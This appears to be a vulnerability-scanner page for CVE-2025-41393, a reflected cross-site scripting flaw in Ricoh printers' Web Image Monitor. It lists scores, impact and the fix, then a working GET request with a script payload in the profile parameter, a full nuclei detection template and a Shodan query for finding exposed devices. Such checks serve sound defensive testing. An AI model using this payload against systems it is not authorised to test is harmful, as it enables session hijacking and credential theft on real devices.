Ricoh Web Image Monitor - Reflected XSS

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

53%of all CVEs are less likely

Readycheck to confirm it

A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.

Impact

Attackers can execute malicious JavaScript in user browsers through the profile parameter, potentially leading to session hijacking and credential theft.

Fix

Apply the security patch from Ricoh for affected Web Image Monitor implementations.

How to confirm it

Send: GET {{BaseURL}}/?profile=</script><script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" and "websys/webArch/mainFrame.cgi" and "Web Image Monitor" AND status 200

Run it with nuclei: nuclei -id CVE-2025-41393 -u <target>

The full check

id: CVE-2025-41393

info:
  name: Ricoh Web Image Monitor - Reflected XSS
  author: jpg0mez
  severity: medium
  description: |
    A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.
  impact: |
    Attackers can execute malicious JavaScript in user browsers through the profile parameter, potentially leading to session hijacking and credential theft.
  remediation: |
    Apply the security patch from Ricoh for affected Web Image Monitor implementations.
  reference:
    - https://www.ricoh.com/products/security/vulnerabilities/vul?id=ricoh-2025-000001
    - https://jvn.jp/en/jp/JVN20474768/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41393
  classification:
    epss-score: 0.00679
    epss-percentile: 0.5268
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Web Image Monitor"
  tags: cve,cve2025,ricoh,xss,web,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?profile=</script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'websys/webArch/mainFrame.cgi'
          - 'Web Image Monitor'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from